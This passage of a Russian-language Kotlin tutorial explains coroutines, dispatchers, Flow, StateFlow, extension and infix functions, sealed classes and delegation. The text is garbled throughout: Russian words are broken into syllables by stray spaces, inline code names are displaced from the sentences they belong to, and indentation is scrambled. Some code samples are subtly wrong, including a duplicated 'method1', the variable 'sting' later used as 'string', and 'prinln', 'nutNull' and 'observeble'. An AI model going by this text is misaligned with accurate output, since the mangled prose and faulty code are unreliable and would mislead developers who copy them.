       if (isConnected) {
             val data = fetchData(url)
       updateUi(data)
   }
}

...

         
 

suspend fun checkNetworkConnection(context: Context) = withContext(
Dispatchers.IO) {
  ...
}

           suspend fun fetchData(url: Url) = withContext(Dispatchers.IO) {
  ...
}

Код  стал  пос ледова тель ным,  но  остался  неб локиру емым.  Пока  мы  ждем
завер шения  работы    и  ,  которые
выпол няют ся  внут ри  так  называ емых  suspend‐фун кций  в  фоновом  потоке,
основной поток при ложе ния может спо кой но про дол жать выпол нение. В слу‐ 
чае с Android это зна чит, что интерфейс при ложе ния оста нет ся плав ным.

checkNetworkConnection() fetchData()

Как  такое  воз можно? Очень  прос то —  ком пилятор  Kotlin,  по  сути,  прев‐ 
раща ет  вто рой  при мер  кода  в  пер вый,  со  все ми  его  кол бэками!  Если  быть
более  точ ным,  то  каж дая  suspend‐фун кция  прев раща ется  в  объ ект  клас са
Continuation,  реали зующий  машину  сос тояний,  которая  при оста нав лива ет
выпол нение кода и сох раня ет сос тояние при вызове дру гих suspend‐фун кций.
Но для понима ния корутин будет дос таточ но и пер вого объ ясне ния. Прос то
запом ни этот при мер.

Пулы потоков
Вто рая  осо бен ность  корутин,  которую  необ ходимо  запом нить,  —  корути ны
не при вяза ны к потокам Java и могут переме щать ся меж ду ними. В при мере
выше для перек лючения меж ду потока ми исполь зует ся фун кция  ,
которая при нима ет аргу мен том кон текст корути ны, в качес тве которо го мож‐ 
но  передать  дис петчер.  Дис петчер  как  раз  и  опре деля ет  пул  потоков,
в котором про дол жит свою работу корути на.

withContext

Есть  два  стан дар тных  пула  потоков:  I/O‐bound  (Dispatchers.IO)  и  CPU‐
bound (Dispatchers.Default) — плюс основной поток при ложе ния (Dispatchers.‐
Main).  Пер вый  пул  пред назна чен  для  бло киру ющих  опе раций,  таких
как  получе ние  дан ных  из  сети,  чте ние  дис ка  /  запись  на  диск  и  так  далее.
Это  боль шой  пул  потоков,  где  всег да  есть  сво бод ные  потоки,  готовые
для выпол нения ожи дающих опе раций. Вто рой пул пред назна чен для вычис‐ 
лений и сос тоит из неболь шого количес тва потоков, рав ного количес тву про‐ 
цес сорных ядер.

Та кое  раз деление  не  слу чай но.  Пра виль ный  выбор  пула  потоков  может
серь езно пов лиять на про изво дитель ность при ложе ния.

Так же  сто ить  пом нить,  что  при  перек лючении  меж ду  потока ми  корути ны
всег да попада ют в оче редь на исполне ние. Это зна чит, что код будет выпол‐ 
нен толь ко пос ле того, как закон чится выпол нение более ран него кода в этой
оче реди. Нап ример, сле дующий код выведет на экран сна чала 2, а затем 1:

       override fun onCreate(savedInstanceState: Bundle?) {
     CoroutineScope(Dispatchers.Main).launch {
       System.out.println("1")
   }

   System.out.println("2")
}

При чина  в  том,  что  код,  печата ющий  1,  будет  пос тавлен  в  оче редь  сра зу
за текущим бло ком кода, который закан чива ется вызовом  .println("2")

Это го мож но избе жать, если исполь зовать 
вмес то  . Но раз работ чики Kotlin нас тоятель но не рекомен‐ 
дуют это го делать: могут воз никнуть труд ноуло вимые баги.

Dispatchers.Main.immediate
Dispatchers.Main

Вычисления в основном потоке
Опи сан ную  осо бен ность,  свя зан ную  с  оче редя ми  потоков,  мож но  исполь‐ 
зовать  для  соз дания  весь ма  инте рес ных  эффектов.  Лукас  Лех нер  (Lukas
Lechner) в сво ей   показал, как исполь зовать корути ны для выпол нения
тяжело вес ных вычис лений в основном потоке при ложе ния.

статье

Возь мем сле дующий код вычис ления фак тори ала, работа ющий в фоновом
потоке:

       
   

private suspend fun calculateFactorialOnDefaultDispatcher(number:
Int): BigInteger =
      withContext(Dispatchers.Default) {
              var factorial = BigInteger.ONE
                for (i in 1..number) {
                factorial = factorial.multiply(BigInteger.valueOf(i.
toLong()))
        }
        factorial
    }

Ес ли  вынес ти  код  это го  метода  из  бло ка    и  выз вать  его
из  основно го  потока  при ложе ния,  то  он  законо мер но  под весит  интерфейс
на нес коль ко секунд. Но! Если при этом добавить в код вызов фун кции 
, интерфейс никак не пос тра дает и оста нет ся плав ным:

withContext()

yield(
)

       
   

private suspend fun calculateFactorialInMainThreadUsingYield(number:
Int): BigInteger {
          var factorial = BigInteger.ONE
            for (i in 1..number) {
        yield()
            factorial = factorial.multiply(BigInteger.valueOf(i.toLong
()))
    }
      return factorial
}

Как  это  воз можно?  Все  дело  в  том,  как  Android  вызыва ет  код  отри сов ки
интерфей са  в  основном  потоке  при ложе ния.  Каж дые  16  мил лисекунд  (при
час тоте  обновле ния  экра на  в  60  герц) фрей мворк  Android  добав ляет  новый
Runnable (блок кода) с кодом обновле ния интерфей са в оче редь исполне ния
основно го  потока  при ложе ния.  Если  основной  поток  не  занят  в  это  вре мя
дру гой  работой,  он  исполнит  этот  код.  В  про тив ном  слу чае  про дол жится
исполне ние  текуще го  кода,  а  опе рация  обновле ния  будет  про пуще на.  Так
получа ется  про пуск  кад ра,  а  про пуск  нес коль ких  кад ров  под ряд  выг лядит
как фриз интерфей са.

Имен но это дол жно было про изой ти при запус ке пре дыду щего кода. Но не
про изош ло  бла года ря  вызову  фун кции  .  Она  при оста нав лива ет
исполне ние текущей корути ны до получе ния сле дующе го эле мен та (в дан ном
слу чае чис ла). При оста нов ка корути ны при водит к переме щению кода обра‐ 
бот ки сле дующе го эле мен та в оче реди исполне ния. В ито ге весь код вычис‐ 
ления  фак тори ала  раз бива ется  на  мно жес тво  малень ких  бло ков,  которые
помеща ются в оче редь исполне ния впе ремеш ку с кодом обновле ния экра на.
Поток  успе вает  выпол нить  нес коль ко  шагов  вычис ления  фак тори ала,  затем
код обновле ния UI, затем еще нес коль ко шагов фак тори ала и так далее.

yield()

Это  канони чес кий при мер  того,  что  называ ют  сло вом    в  про‐ 
тиво вес парал лель ному вычис лению. Мы по мак симуму заг ружа ем основной
поток работой, при этом поз воляя ему быс тро перек лючать ся меж ду задача‐ 
ми.  Фак тори ал  при  таком  под ходе  вычис ляет ся  при мер но  в  два  раза  мед‐ 
леннее, зато интерфейс оста ется плав ным даже без исполь зования фоновых
потоков.

concurrency

Structured concurrency
Третья осо бен ность корутин — то, что называ ется structured concurrency (об
этом хорошо написал   из коман ды Kotlin).Ро ман Ели заров

В при веден ном в  начале раз дела  коде  корути на  запус кает ся  с  помощью
фун кции  .  Это  один  из  бил деров  корутин,  порож‐ 
дающих новые корути ны.

CoroutineScope.launch

Кро ме самой корути ны, этот бил дер так же соз дает так называ емый corou‐
tine scope, пред став ляющий собой сво его рода область дей ствия этой и всех
порож денных  ей  корутин.  Смысл  сущес тво вания  областей  дей ствия  в  том,
что бы не дать корути нам утечь.

Что бы  про демонс три ровать  воз можность  такой  утеч ки,  возь мем  сле‐ 
дующий  код.  Он  соз дает  две  корути ны  с  помощью  бил дера  .  Эти
корути ны  выпол няют  фоновую  заг рузку  двух  изоб ражений  одновре мен но,
затем резуль таты их работы исполь зуют ся в родитель ской корути не:

async

             suspend fun loadAndCombine(name1: String, name2: String): Image {
               val deferred1 = async { loadImage(name1) }
               val deferred2 = async { loadImage(name2) }
       return combineImages(deferred1.await(), deferred2.await())
}

Хо рошо  и  удоб но,  но  есть  проб лема.  Если  во  вре мя  заг рузки  одно го  изоб‐ 
ражения  будет  выб рошено  исклю чение  и  одна  из  корутин  завер шит  свою
работу, вто рая корути на про дол жит работу, хотя нам это уже не нуж но.

Structured concurrency реша ет эту проб лему:

             suspend fun loadAndCombine(name1: String, name2: String): Image =
     coroutineScope {
                   val deferred1 = async { loadImage(name1) }
                   val deferred2 = async { loadImage(name2) }
         combineImages(deferred1.await(), deferred2.await())
   }

Те перь  обе  корути ны  находят ся  в  одной  области  дей ствия,  и,  если  одна
из запущен ных внут ри корутин выб росит исклю чение, все осталь ные корути ны
в этой области дей ствия будут завер шены авто мати чес ки.

Идея  structured  concurrency  сос тоит  в  том,  что бы  раз работ чик  соз давал
новые «области дей ствия» для всех логичес ки связ ных бло ков кода. В Android
это могут быть view model, use case, код сетевой заг рузки и так далее. Мож но
соз дать  CoroutineScope  как  свой ство  клас са  и  исполь зовать  его  во  всем
клас се:

     val scope = CoroutineScope(Dispatchers.Main)

Продолжение статьи →
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Как правильно завершать корутины
Есть  три  основных  спо соба  завер шения  корутин.  Пер вый  —  через  завер‐ 
шение coroutine scope, которо му при над лежат корути ны:

           val job1 = scope.launch { … }
           val job2 = scope.launch { … }

scope.cancel()

Вто рой — пря мое завер шение отдель но взя тых корутин:

           val job1 = scope.launch { … }
           val job2 = scope.launch { … }

job1.cancel()
job2.cancel()

Тре тий — завер шение всех корутин, при над лежащих одно му scope:

           val job1 = scope.launch { … }
           val job2 = scope.launch { … }

scope.coroutineContext.cancelChildren()

Вро де бы все прос то. Но есть нес коль ко неоче вид ных момен тов:
1. За вер шение  корути ны  дол жно  быть  коопе ратив ным.  Сам  по  себе  метод

  не  завер шает  корути ну,  а  лишь  посыла ет  ей  сиг нал  завер‐ 
шения. Корути на дол жна сама про верить, при шел ли он, исполь зуя свой‐ 
ство   и метод  . Если сиг нал завер шения
получен,  пер вое  будет  содер жать  false,  вто рой  выб росит 

.

cancel()

Job.isActive ensureActive()

Cancella

tionException

2. Все стан дар тные suspend‐фун кции пакета   (
,    и  так  далее)  уме ют  реаги ровать  на  сиг нал  завер‐ 

шения,  поэто му  при  их  исполь зовании  прог раммис ту  необя затель но
делать это самос тоятель но.

kotlinx.coroutines with

Context() delay()

3. При завер шении корути ны ее родитель получа ет исклю чение 
.

Cancella

tionException

4. За вер шенный  CoroutineScope  боль ше  нель зя  исполь зовать  для  запус ка
корутин.

Каналы, потоки и чистые функции
Kotlin не толь ко упро щает написа ние мно гопо точ ного кода, но и может сде‐ 
лать  его  нам ного  надеж нее.  Его  раз работ чики  учли  ошиб ки  Java  и  сде лали
все, что бы избе жать проб лем с сов мес тным дос тупом к дан ным и бло киров‐ 
ками,  при сущих  клас сичес кому  под ходу  к  написа нию  мно гопо точ ных  при‐ 
ложе ний.

Во‐пер вых, Kotlin и его стан дар тная биб лиоте ка чет ко раз деля ют модифи‐ 
циру емые  и  немоди фици руемые  дан ные,  а  ком пилятор  и  сре да  раз работ ки
всег да  намек нут,  что  перемен ную  мож но  сде лать  неиз меня емой.  Все
это  под талки вает  к  написа нию  кода  в  фун кци ональ ном  сти ле,  ког да  каж дая
фун кция  выпол няет  толь ко  одну  задачу,  не  модифи циру ет  вход ные  дан ные
и не изме няет поля клас са. Хороший мно гопо точ ный код на Kotlin — это кон‐ 
вей ер, в начале которо го находит ся источник дан ных, в середи не — фун кции
обра бот ки, а в кон це — пот ребитель.

Од нако  у  такого под хода есть одна проб лема: он  годит ся  толь ко для  тех
задач, в которых каж дый эле мент кон вей ера воз вра щает всю кол лекцию дан‐ 
ных целиком, а сама кол лекция не слиш ком велика. Но что, если у нас поток
висит  в  фоне  на  всем  про тяже нии  жиз ни  при ложе ния  и  вре мя  от  вре мени
получа ет от сер вера дан ные, которые необ ходимо как‐то обра ботать в дру гих
потоках?

Клас сичес кий вари ант решения этой задачи в сти ле Java сос тоял бы в соз‐ 
дании  спе циаль ного  объ екта,  к  которо му  мог ли  бы  обра щать ся  все  потоки
для записи или чте ния дан ных. И все это при нес ло бы с собой те самые проб‐ 
лемы с бло киров ками, решив которые  ты бы стол кнул ся с проб лемами син‐ 
хро низа ции потоков.

Kotlin  пред лага ет  дру гой  путь — CSP‐стиль  прог рамми рова ния,  похожий
на тот, что исполь зует ся в язы ке Go. Идея прос тая: мы рас шарива ем меж ду
потока ми не дан ные, а канал ком муника ции, и один поток пишет в него дан‐ 
ные, а дру гие чита ют.

Выг лядеть все это может при мер но так:

     val channel = Channel<Int>()

 launch {
               for (x in 1..5) channel.send(x * x)
   channel.close()
}

       for (y in channel) println(y)
println("Done!")

Дан ный код соз дает канал, а затем запус кает корути ну, которая пишет в этот
канал пять цифр под ряд, а затем зак рыва ет его. Дру гая корути на чита ет дан‐ 
ные  из  канала  и  выводит  на  экран.  При веден ный  здесь  канал  небуфе ризи‐ 
рован ный (есть и буфери зиро ван ные), а зна чит, пишущая корути на будет при‐ 
оста нов лена при попыт ке  записать вто рое зна чение в  канал. И сра зу пос ле
это го будет запуще на корути на, чита ющая дан ные.

Ка налы — эффектив ное средс тво син хро низа ции и переда чи дан ных. Раз‐ 
работ чики  Kotlin  ,  что бы  сде лать  их  неб локиру емы ми
и высокоп роиз водитель ными. Но каналы под ходят не для всех слу чаев. Они
хорошо  работа ют,  ког да  отда ющая  дан ные  корути на  живет  сво ей  жизнью,
а  сами  дан ные  могут  появить ся  без  спро са.  Но  если  все,  что  нуж но  сде‐ 
лать, — это запус тить сбор конеч ного количес тва дан ных, которые могут при‐ 
ходить пор цион но, то сто ит пос мотреть в сто рону flow.

силь но  пос тарались

Flow
Пред ста вим  себе,  что  у  нас  есть  нес коль ко  пор ций  дан ных,  которые  могут
прий ти через опре делен ные интерва лы вре мени. Что бы получить эти дан ные,
обра ботать их и отпра вить даль ше, мы можем написать фун кцию, соз дающую
flow (по сути «поток дан ных»):

         fun doSomething(): Flow<Int> = flow {
           for (i in 1..5) {
       delay(100)
       emit(i)
   }
}

В дан ном слу чае фун кция «выпус кает» в поток дан ных пять объ ектов типа  Int
с переры вом в 100 мил лисекунд. Обра ти вни мание, что   — это suspend‐
фун кция, которая может запус кать дру гие suspend‐фун кции (в дан ном слу чае

). Но сама фун кция   не suspend. Это важ но.

flow

delay() doSomething()
Те перь нам нуж но эти дан ные соб рать. Мы можем сде лать это с помощью

такого кода:

     val something = doSomething()

 scope.launch {
             something.collect { value ‐> System.out.println(value) }
}

Здесь мы вызыва ем фун кцию   вне корути ны, но фун кцию 
 — внут ри  корути ны. Все дело в  том,  что при вызове 

ничего не про исхо дит, фун кция сра зу воз вра щает управле ние. И толь ко пос‐ 
ле вызова   начина ет работать опре делен ный внут ри фун кции код.
Дру гими  сло вами,  вызов    запус кает  код  фун кции 
в рам ках текущей корути ны, а пос ле получе ния пос ледне го эле мен та воз вра‐ 
щает управле ние.

doSomething() col‐
lect() doSomething()

collect()
collect() doSomething()

Соз дать поток дан ных мож но и дру гими спо соба ми, нап ример с помощью
метода  :asFlow()

listOf(1,2,3).asFlow()
(1..3).asFlow()

За вер шают  поток  дан ных  нес коль кими  спо соба ми —  от  вызова 
до методов типа  ,  ,  , зна комых тебе по работе с кол‐ 
лекци ями.

collect()
first() fold() toList()

По ток дан ных мож но тран сфор мировать, что бы получить новый поток дан‐ 
ных  с  помощью методов  ,  ,  .  Мож но  объ еди нить  нес‐ 
коль ко  потоков  в  один  с  помощью  методов  ,    и 
и  поменять  кон текст  исполне ния  (нап ример,  дис петчер)  с  помощью 

map() filter() take()
zip() merge() combine()

:flowOn()

 resultsScope.launch {
   searchSources
                 .filter { it.isEnabled }
                 .map { it.search(searchVariants) }
           .merge()
           .flowOn(Dispatchers.Default)
             .collect {
                   resultsUi.showResults(it.name, it.results, it.type)
           }
}

Это  код  фун кции  поис ка  из  реаль ного  при ложе ния.  Она  берет  нес коль ко
источни ков  дан ных  для  поис ка  (searchSources  —  это  спи сок  объ ектов),
отфиль тро выва ет  отклю чен ные  источни ки,  а  затем  запус кает  на  каж дом
из них фун кцию поис ка ( ), которая воз вра щает Flow. Далее нес коль‐ 
ко потоков дан ных объ еди няют ся с помощью  . В кон це потоки запус‐ 
кают ся, а их резуль таты отоб ража ются на экра не. Бла года ря исполь зованию
фун кции    вся  обра бот ка  потоков  дан ных  про исхо дит  в  фоне,
но резуль таты будут показа ны в UI‐потоке при ложе ния.

search()
merge()

flowOn()

StateFlow
Ну и закон чим раз говор о  корути нах на StateFlow, сов сем новом механиз ме
для хра нения сос тояний на осно ве flow.

StateFlow  поз воля ет  раз ным  ком понен там  при ложе ния менять  сос тояние
и  реаги ровать  на  изме нение  это го  сос тояния.  В  Android  StateFlow  мож но
исполь зовать в качес тве более прод винуто го ана лога LiveData. Об этом есть
хорошая понят ная статья « ». При веду здесь выжим‐ 
ку кода.

StateFlow, End of LiveData?

На пишем сле дующий код ViewModel:

@ExperimentalCoroutinesApi
       class MainViewModel : ViewModel() {

           private val _countState = MutableStateFlow(0)

           val countState: StateFlow<Int> = _countState

       fun incrementCount() {
       _countState.value++
   }

       fun decrementCount() {
       _countState.value‐‐
   }
}

Те перь  соз дадим  активность,  исполь зующую  эту  модель.  Активность  будет
сос тоять  из  TextView,  показы вающе го  чис ло,  и  двух  кно пок  для  уве личе ния
и умень шения это го чис ла:

       class MainActivity : AppCompatActivity() {
             private val viewModel by lazy {
       ViewModelProvider(this)[MainViewModel::class.java]
   }

           override fun onCreate(savedInstanceState: Bundle?) {
       super.onCreate(savedInstanceState)
       setContentView(R.layout.activity_main)

       initCountObserver()
       initView()
   }
}

     private fun initCountObserver() {
     lifecycleScope.launch {
             viewModel.countState.collect { value ‐>
               textview_count.text = "$value"
       }
   }
}

     private fun initView() {
   button_plus.setOnClickListener(::incrementCounter)
   button_minus.setOnClickListener(::decrementCounter)
}

       private fun incrementCounter(view: View) {
   viewModel.incrementCount()
}

       private fun decrementCounter(view: View) {
   viewModel.decrementCount()
}

Это  все.  Нажатие  кноп ки  изме нения  чис ла  изме нит  сос тояние  ViewModel,
а  это,  в  свою  оче редь,  при ведет  к  авто мати чес кому  изме нению  TextView.
И все это работа ет с уче том жиз ненно го цик ла активнос ти бла года ря исполь‐ 
зованию lifecycleScope.

ФУНКЦИИ
В Kotlin фун кции име ют более широкие воз можнос ти в срав нении с Java (осо‐ 
бен но  если  говорить  о  Java  7  и  ниже).  Фун кции  могут  быть  объ явле ны  вне
клас сов, быть вло жен ными друг в дру га, иметь зна чения аргу мен тов по умол‐ 
чанию  и  при нимать  дру гие  фун кции  в  качес тве  аргу мен тов.  Фун кции  могут
быть объ явле ны с клю чевым сло вом inline, и тог да тело фун кции будет встро‐ 
ено в мес то ее вызова для более высокой про изво дитель нос ти. Так же фун‐ 
кции  могут  быть  инфик сны ми  и  фун кци ями‐рас ширени ями.  Имен но  на  пос‐ 
ледних двух типах фун кций, как наибо лее инте рес ных и недопо нятых, мы оста‐ 
новим ся.

Функции-расширения
Фун кции‐рас ширения  —  это  методы,  которые  мож но  добавить  к  любому
клас су  вне  зависи мос ти  от  того,  име ешь  ты  дос туп  к  его  исходно му  коду
или нет. Нап ример:

       fun String.isDigit() : Boolean {
   ...
}

     val sting = "12345"
     val result = string.isDigit()

Фун кции‐рас ширения улуч шают чита емость кода. Стро ка 
выг лядит  явно  луч ше,  чем  ,  и  тем  более  луч ше,  чем

. Они поз воля ют сде лать класс лег че и удоб‐ 
нее  для  чте ния  и  понима ния.  Если,  нап ример,  какой‐то  набор  при ват ных
методов  клас са  нужен  толь ко  одно му  пуб лично му  методу,  их  вмес те  с  пуб‐ 
личным  методом  мож но  вынес ти  в  рас ширения.  Они  облегча ют  написа ние
кода,  так  как  IDE  будет  авто мати чес ки  под ска зывать,  какие  методы  и  фун‐ 
кции‐рас ширения есть у клас са.

string.isDigit()
isDigit(string)

StringUtils.isDigit(string)

Од нако  при  неп равиль ном  исполь зовании  фун кции‐рас ширения  могут
при нес ти  мас су  проб лем.  В  основном  эти  проб лемы  воз ника ют,  ког да  раз‐ 
работ чики пыта ются исполь зовать фун кции‐рас ширения в собс твен ных клас‐ 
сах вмес то соз дания стан дар тных методов. Есть два слу чая, ког да это будет
оправдан но.
1. **Inline‐фун кции++.  Сущес тву ет  извес тная  рекомен дация,  что  фун кции
выс шего  поряд ка  сто ит  помечать  с  помощью  клю чево го  сло ва  .
Тог да ком пилятор вклю чит их код пря мо на мес то вызова, вмес то того что‐ 
бы  совер шать  нас тоящий  вызов.  В  Kotlin  сде лать  инлай новыми  методы
клас са нель зя, но мож но фун кции‐рас ширения.

inline

2.  .  В  отли чие  от  клас сичес ких  методов,  фун‐ 
кции‐рас ширения мож но соз дать даже для nullable‐типов. Нап ример:
Объект со значением null

     fun CharSequence?.isNullOrBlank(): Boolean {
   ...
}

         val string : String? = "abc"
     val result = string.isNullOrBlank()

Ин терес но, что фун кци ями‐рас ширени ями в Kotlin так же могут быть лям бды,
они называ ются лям бда ми с ресиве ром. Нап ример, сле дующая фун кция при‐ 
нима ет в качес тве аргу мен та лям бду:

         fun doSomething(lambda: () ‐> Unit) {
   ...
}

А такая — лям бду с ресиве ром:

         fun doSomething(lambda: String.() ‐> Unit) {
   ...
}

Вто рая лям бда будет выпол нена в кон тек сте объ екта ука зан ного клас са. Нап‐ 
ример:

           fun buildString(actions: StringBuilder.() ‐> Unit): String {
         val builder = StringBuilder()
   builder.actions()
     return builder.toString()
}

       val str = buildString {
   append("Hello")
   append(" ")
   append("world")
}

Лям бды с ресиве ром активно исполь зуют ся в стан дар тной биб лиоте ке Kotlin.
Нап ример, фун кция‐рас ширение   исполь зует лям бду с ресиве ром, что‐ 
бы  запус тить  код  лям бды  в  кон тек сте  объ екта,  для  которо го  была  выз вана
фун кция apply:

apply

button.apply{
       text = "Press me"
       textSize = 17f
}

Еще  более  инте рес ный  при мер  —  фун кция  ,  которую  мож но  выз вать
для  объ ектов,  реали зующих  интерфейс  Closable,  что бы  авто мати чес ки  выз‐ 
вать метод   пос ле выпол нения кода лям бды:

use

close()

     fun main () {
         val file = File("file.txt")
     file.printWriter().use {
       it.println("Hello World")
   }
}

В дан ном слу чае   будет выз ван сра зу пос ле записи стро ки Hello world
в файл.

close()

Инфиксные функции
На вер ное, самый удач ный при мер при мене ния инфик сных фун кций был при‐ 
веден  в  статье  .  Это  крат кая  замет ка
о том, как соз дать более удоб ный ана лог опе рато ра if‐else:

Kotlin:  When  if‐else  is  too  mainstream

     val condition = true
                             val output = condition then { 1 + 1 } elze { 2 + 2 }

Фун кции    и    в  дан ном  при мере  инфик сные.  По  сути,  это  обыч ные
фун кции‐рас ширения, которые мож но выз вать, исполь зуя про бел вмес то точ‐ 
ки:

then elze

               infix fun <T>Boolean.then(action : () ‐> T): T? {
       return if (this)
       action.invoke()
     else null
}

             infix fun <T>T?.elze(action: () ‐> T): T {
           return if (this == null)
       action.invoke()
     else this
}

Вызов объектов
Kotlin  поз воля ет  вызывать  объ ект  как фун кцию. Все,  что  нуж но, — добавить
в код его клас са метод invoke().

   class Manager {
         operator fun invoke(value:String) {
       prinln(value)
   }
}

     val manager = Manager()
manager("Hello, world!")

Возврат двух значений из функции
К сожале нию (или к счастью), в Kotlin фун кции не уме ют воз вра щать два зна‐ 
чения.  Но  здесь  есть  клас сы  Pair  и  Triple  для  упа ков ки  нес коль ких  зна чений
в класс. Нап ример, мы можем написать такую фун кцию:

         fun getFeedEntries() : Pair<List<FeedEntry>, String> {
         return emptyList to 100
}

А затем выз вать ее и получить два зна чения:

     val pair = getFeedEntries()
     val list = pair.first
     val status = pair.second

Что бы убрать лиш ний код, мож но исполь зовать опе ратор дес трук ции:

       val (list, status) = getFeedEntries()

Класс  Triple  пол ностью  ана логи чен  Pair  за  исклю чени ем  того,  что  он  может
хра нить три зна чения вмес то двух.

Аспектно ориентированное программирование
Па радиг ма аспек тно ори енти рован ного прог рамми рова ния  (AOP) поз воля ет
вынес ти в отдель ные модули код, который при дру гих под ходах к прог рамми‐ 
рова нию  проб лематич но  сде лать  обо соб ленным:  логиро вание,  обра бот ку
исклю чений, кеширо вание, про вер ку прав дос тупа. Вся эта фун кци ональ ность
называ ется сквоз ной.

Стан дар тные  фрей мвор ки  аспек тно  ори енти рован ного  прог рамми рова‐ 
ния, такие как AspectJ, поз воля ют вынес ти такую фун кци ональ ность в отдель‐ 
ные модули, исполь зуя анно тации:

   @CachedBy(key = Customer::getId)
 fun getAddress(

    customer: Customer
   ): String {

   return customer.address
}

В  этом  при мере  customer.address  будет  закеши рован  авто мати чес ки  бла‐ 
года ря анно тации @CachedBy.

Проб лема  этой  анно тации  толь ко  в  том,  что  она  не  нас толь ко  оче вид на
и удоб на в работе, как обыч ная фун кция. К счастью, Kotlin поз воля ет получить
некото рые пре иму щес тва AOP без исполь зования спе циаль ных фрей мвор ков
и анно таций:

 fun getAddress(
    customer: Customer
       ): String = cachedBy(customer.id) {

  customer.address
}

КЛАССЫ
Как  и  фун кции,  клас сы  в  Kotlin  име ют  более широкие  воз можнос ти  в  срав‐ 
нении с ана лога ми из Java. Клас сы мож но вызывать на манер обыч ных фун‐ 
кций, их мож но делать инлай новыми, что бы ком пилятор раз вернул их на мес‐ 
те  исполь зования.  Здесь  есть  data‐клас сы  для  хра нения  дан ных  (для  них
будут  авто мати чес ки  соз даны  методы  ,    и 
так же  изо лиро ван ные  (sealed)  клас сы,  которые  иде аль но  под ходят  для  хра‐ 
нения сос тояния.

toString() hashCode() ),copy()
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Изолированные классы
Sealed‐класс  в  Kotlin  —  сво его  рода  enum  на  сте роидах.  Он  может  иметь
огра ничен ное количес тво потом ков, все из которых дол жны быть объ явле ны
в том же фай ле. Взгля нем на сле дующий при мер:

   sealed class NetworkResult
       data class Success(val result: String): NetworkResult()
       data class Failure(val error: Error): NetworkResult()

viewModel.data.observe(this,
         Observe<NetworkResult> { data ‐>
           data ?: return@Observer
           when (data) {
                 is Success ‐> showResult(data.result)
                 is Failure ‐> showError(data.error)
       }
})

Здесь объ явлен sealed‐класс NetworkResult и два его потом ка: Success и Fail‐
ure.  Далее  они  исполь зуют ся,  что бы  про верить  резуль тат  выпол нения  опе‐ 
рации и выпол нить дей ствие в соот ветс твии с этим резуль татом. Мы можем
быть  уве рены,  что  data  не  может  быть  ничем,  кро ме  Success  и  Failure,  она
даже не может быть NetworkResult, так как сам sealed‐класс всег да абс трак‐ 
тный.

Sealed‐клас сы иде аль но под ходят для хра нения сос тояния. Так же они под‐ 
ходят для реали зации тех самых кон вей еров обра бот ки информа ции (Railway
Oriented Programming), о которых мы говори ли в раз деле о корути нах:

tokenize(command.toLowerCase())
   .andThen(::findCommand)
               .andThen { cmd ‐> checkPrivileges(loggedInUser, cmd) }
                     
   

.andThen { execute(user = loggedInUser, command = cmd, timestamp
= LocalDateTime.now()) }
   .mapBoth(
               { output ‐> printToConsole("returned: $output") },
              

 
{ error ‐> printToConsole("failed to execute, reason: ${

error.reason}") }
   )

Это  при мер  с  GitHub‐стра ницы  ,  кро шеч ной  биб лиоте ки,  реали‐ 
зующей  тип  Result  на  базе  sealed‐клас сов.  В  этом  при мере  каж дая  сле‐ 
дующая коман да воз вра щает зна чение sealed‐клас са Result (ошиб ка или зна‐ 
чение), но ошиб ки обра баты вают ся толь ко на пос леднем эта пе исполне ния.
Если ошиб ка про изош ла в одной из пер вых команд, она прос то будет переда‐ 
на по цепоч ке до кон ца, в про тив ном слу чае резуль тат будет обра ботан.

kotlin‐result

Делегирование
Один из клю чевых пос тулатов сов ремен ного ООП‐прог рамми рова ния гла сит:
пред почитай те  делеги рова ние  нас ледова нию.  Это  зна чит,  что  вмес то  нас‐ 
ледова ния от какого‐либо клас са луч ше вклю чить инстанс это го клас са в дру‐ 
гой  класс  и  вызывать  его  методы  при  вызове  одно имен ных  методов  это го
клас са:

   class Class1() {
           fun method1() { ... }
           fun method1() { ... }
}

     class Class2(firstClass: Class1) {
           private val class1 = firstClass

           fun method1() { firstClass.method1() }
           fun method2() { firstClass.method2() }
}

За чем  это  нуж но?  Для  того,  что бы  избе жать  проб лем,  ког да  методы  клас‐ 
са‐родите ля вызыва ют друг дру га. Если    вызыва ет  ,  то,
пере опре делив  вто рой метод, мы  сло маем работу  пер вого. Делеги рова ние
реша ет эту проб лему, так как   и   оста ются не свя зан ными друг
с дру гом.

method1() method2()

Class1 Class2

С дру гой сто роны, делеги рова ние  усложня ет  код, и поэто му в Kotlin есть
спе циаль ное  клю чевое  сло во  ,  силь но  упро щающее  жизнь  раз работ чика.
Бла года ря  ему  реали зовать  вто рой  класс  мож но  с  помощью  все го  одной
стро ки:

by

           class Class2(firstClass: Class1) : Class1 by firstClass

Это  дей стви тель но  все.  Ком пилятор  Kotlin  авто мати чес ки  пре обра зует  эту
стро ку в ана лог реали зации   из пер вого при мера.Class2

Kotlin  так же  поз воля ет  делеги ровать  реали зацию  свой ств.  В  сле дующей
записи  исполь зует ся  стан дар тный  делегат  ,  ини циали зиру ющий
перемен ную при пер вом обра щении к ней:

lazy

           val orm by lazy { KotlinORM("main.db") }

Еще более инте рес но работа ет делегат  , поз воля ющий магичес ким обра‐ 
зом взять зна чения из хеш мапа.

map

         class User(val map: Map<String, Any?>) {
           val name: String by map
               val age: Int by map
}

     val user = User(mapOf(
       "name" to "John Doe",
        "age" to 25
))

 println(user.name) // "John Doe"
  println(user.age) // 25

Кро ме    и  ,  стан дар тная  биб лиоте ка  Kotlin  вклю чает  в  себя  еще  три
стан дар тных делега та:

lazy map

nutNull  —  ана лог  клю чево го  сло ва    с  более  широки ми  воз‐ 
можнос тями;

• lateinit

observeble  —  поз воля ет  выпол нить  код  в  момент  чте ния  или  записи
перемен ной;

•

vetoable —  похож  на  observeble,  но  сра баты вает  перед  записью  нового
зна чения и может зап ретить изме нение.

•

Ну  и  конеч но  же,  любой  раз работ чик  может  соз дать  собс твен ный  делегат.
Это все го лишь класс c реали заци ей опе рато ров   и  :getValue() setValue()

   class Delegate {
               

 
operator fun getValue(thisRef: Any?, property: KProperty<*>):

String {
         return "$thisRef, thank you for delegating '${property.name}
' to me!"
   }

               
   

operator fun setValue(thisRef: Any?, property: KProperty<*>,
value: String) {
       println("$value has been assigned to '${property.name}' in 
$thisRef.")
   }
}

INFO

Клю чевой  раз работ чик  Kotlin  Андрей  Брес лав
не  раз  заяв лял,  что  не  стал  бы  реали зовать
делеги рова ние клас сов, будь у него воз можность
вер нуть ся  в  прош лое.  Эта  фун кция  ока залась
хоть  и  полез ной,  но  слиш ком  ком плексной
в  реали зации  и  кон флик тующей  с  новыми  воз‐ 
можнос тями язы ка Java.

КОЛЛЕКЦИИ
